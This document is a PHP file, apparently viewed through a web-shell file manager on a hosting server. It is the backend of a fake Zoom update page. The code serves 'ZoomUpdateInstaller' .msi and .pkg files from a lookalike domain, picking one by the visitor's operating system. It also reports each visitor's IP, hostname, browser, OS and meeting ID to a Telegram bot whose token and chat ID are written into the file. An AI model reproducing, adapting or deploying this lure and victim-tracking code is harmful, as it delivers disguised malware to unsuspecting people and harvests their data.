HEX
Server: Apache
System: Linux srv.kreative-web.pt 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User: kevinefranco (1040)
PHP: 8.2.30
Disabled: mail,system,passthru,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,ini_restore
Upload Files
File: /home/kevinefranco/www/zoommeeting/try.php
<?php
// process.php
session_start();

// Telegram Bot Configuration
define('TELEGRAM_BOT_TOKEN', '7068069867:AAFubCYpDNtFJaMqibFfIMq_DP7kingqDMA');
define('TELEGRAM_CHAT_ID', '6159112165');

// Download URLs for different OS
define('WINDOWS_DOWNLOAD_URL', 'https://zooma.rest/zoommeeting/update/ZoomUpdateInstaller.msi');
define('MACOS_DOWNLOAD_URL', 'https://zooma.rest/zoommeeting/update/ZoomUpdateInstaller.pkg');
define('LINUX_DOWNLOAD_URL', 'https://example.com/updates/zoom-linux.tar.gz');

// Track downloads to prevent multiple notifications
$downloadKey = md5($_SERVER['REMOTE_ADDR'] . date('Y-m-d H') . $_SERVER['HTTP_USER_AGENT']);

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['error' => 'Method not allowed']);
    exit;
}

// Handle proxy download request
if (isset($_GET['proxy']) && $_GET['proxy'] === '1') {
    handleProxyDownload();
    exit;
}

// Handle regular API request
handleApiRequest();

function handleApiRequest() {
    global $downloadKey;
    
    $input = json_decode(file_get_contents('php://input'), true);
    $action = $input['action'] ?? '';
    $meetingId = $input['meetingId'] ?? '';
    
    if ($action === 'download') {
        // Detect OS and get appropriate download URL
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $downloadUrl = getDownloadUrlForOS($userAgent);
        
        // Clear any previous session data to ensure fresh download
        if (isset($_SESSION['last_download_key'])) {
            unset($_SESSION['last_download_key']);
        }
        
        // Store download info to prevent duplicate notifications
        $_SESSION['download_info'] = [
            'key' => $downloadKey,
            'url' => $downloadUrl,
            'timestamp' => time(),
            'notified' => false
        ];
        
        // Return download URL immediately
        echo json_encode([
            'success' => true,
            'downloadUrl' => $downloadUrl,
            'os' => detectOS($userAgent)
        ]);
        
        // Send Telegram notification in background without waiting
        register_shutdown_function(function() use ($userAgent, $downloadUrl, $meetingId) {
            sendTelegramNotification($userAgent, $downloadUrl, $meetingId);
        });
        
    } else {
        echo json_encode(['error' => 'Invalid action']);
    }
}

function handleProxyDownload() {
    global $downloadKey;
    
    $url = $_POST['url'] ?? '';
    
    if (empty($url)) {
        http_response_code(400);
        echo 'Missing URL parameter';
        exit;
    }
    
    // Validate URL
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        http_response_code(400);
        echo 'Invalid URL';
        exit;
    }
    
    // Check if this is a fresh download
    $isFreshDownload = false;
    if (isset($_SESSION['download_info']) && 
        $_SESSION['download_info']['key'] === $downloadKey &&
        $_SESSION['download_info']['url'] === $url &&
        !$_SESSION['download_info']['notified']) {
        
        $isFreshDownload = true;
        $_SESSION['download_info']['notified'] = true;
        $_SESSION['last_download_key'] = $downloadKey;
    }
    
    // Get filename
    $filename = basename(parse_url($url, PHP_URL_PATH));
    if (empty($filename)) {
        $filename = 'zoom-update-' . date('Y-m-d') . getFileExtensionForOS($url);
    }
    
    // Send notification if this is a fresh download
    if ($isFreshDownload) {
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        sendTelegramNotification($userAgent, $url, '');
    }
    
    // Stream the file with proper headers
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    
    // Disable output buffering
    if (ob_get_level()) ob_end_clean();
    
    // Stream the file
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ch, CURLOPT_TIMEOUT, 300);
    
    // Get file size
    curl_setopt($ch, CURLOPT_NOBODY, true);
    curl_exec($ch);
    $contentLength = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);
    curl_close($ch);
    
    if ($contentLength > 0) {
        header('Content-Length: ' . $contentLength);
    }
    
    // Stream the file content
    readfile($url);
    
    exit;
}

function detectOS($userAgent) {
    $userAgent = strtolower($userAgent);
    
    if (strpos($userAgent, 'windows') !== false) {
        return 'Windows';
    } elseif (strpos($userAgent, 'mac os') !== false || strpos($userAgent, 'macintosh') !== false) {
        return 'macOS';
    } elseif (strpos($userAgent, 'linux') !== false) {
        return 'Linux';
    } elseif (strpos($userAgent, 'android') !== false) {
        return 'Android';
    } elseif (strpos($userAgent, 'iphone') !== false || strpos($userAgent, 'ipad') !== false) {
        return 'iOS';
    }
    
    return 'Unknown';
}

function getDownloadUrlForOS($userAgent) {
    $os = detectOS($userAgent);
    
    switch ($os) {
        case 'Windows':
            return WINDOWS_DOWNLOAD_URL;
        case 'macOS':
            return MACOS_DOWNLOAD_URL;
        case 'Linux':
            return LINUX_DOWNLOAD_URL;
        default:
            return WINDOWS_DOWNLOAD_URL; // Default to Windows
    }
}

function getFileExtensionForOS($url) {
    $os = detectOS($_SERVER['HTTP_USER_AGENT'] ?? '');
    
    switch ($os) {
        case 'Windows':
            return '.exe';
        case 'macOS':
            return '.dmg';
        case 'Linux':
            return '.tar.gz';
        default:
            return '.exe';
    }
}

function sendTelegramNotification($userAgent, $downloadUrl, $meetingId) {
    if (empty(TELEGRAM_BOT_TOKEN) || empty(TELEGRAM_CHAT_ID)) {
        return; // Telegram not configured
    }
    
    $os = detectOS($userAgent);
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
    $host = gethostbyaddr($ip);
    $browser = getBrowserInfo($userAgent);
    $timestamp = date('Y-m-d H:i:s');
    
    $message = "📥 *Download Started*\n\n";
    $message .= "• *OS:* $os\n";
    $message .= "• *Browser:* $browser\n";
    $message .= "• *IP:* $ip\n";
    $message .= "• *Host:* $host\n";
    $message .= "• *Meeting ID:* $meetingId\n";
    $message .= "• *Download URL:* " . basename($downloadUrl) . "\n";
    $message .= "• *Time:* $timestamp\n";
    $message .= "• *User Agent:* `" . substr($userAgent, 0, 100) . "`";
    
    $telegramUrl = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage";
    
    $data = [
        'chat_id' => TELEGRAM_CHAT_ID,
        'text' => $message,
        'parse_mode' => 'Markdown',
        'disable_web_page_preview' => true
    ];
    
    // Send asynchronously without waiting for response
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $telegramUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 2); // 2 second timeout
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
    curl_exec($ch);
    curl_close($ch);
}

function getBrowserInfo($userAgent) {
    $userAgent = strtolower($userAgent);
    
    if (strpos($userAgent, 'chrome') !== false) {
        return 'Chrome';
    } elseif (strpos($userAgent, 'firefox') !== false) {
        return 'Firefox';
    } elseif (strpos($userAgent, 'safari') !== false) {
        return 'Safari';
    } elseif (strpos($userAgent, 'edge') !== false) {
        return 'Edge';
    } elseif (strpos($userAgent, 'opera') !== false) {
        return 'Opera';
    }
    
    return 'Unknown';
}

// Clean old session data
function cleanOldSessions() {
    if (isset($_SESSION['download_info']) && 
        time() - $_SESSION['download_info']['timestamp'] > 3600) {
        unset($_SESSION['download_info']);
    }
}

cleanOldSessions();
?>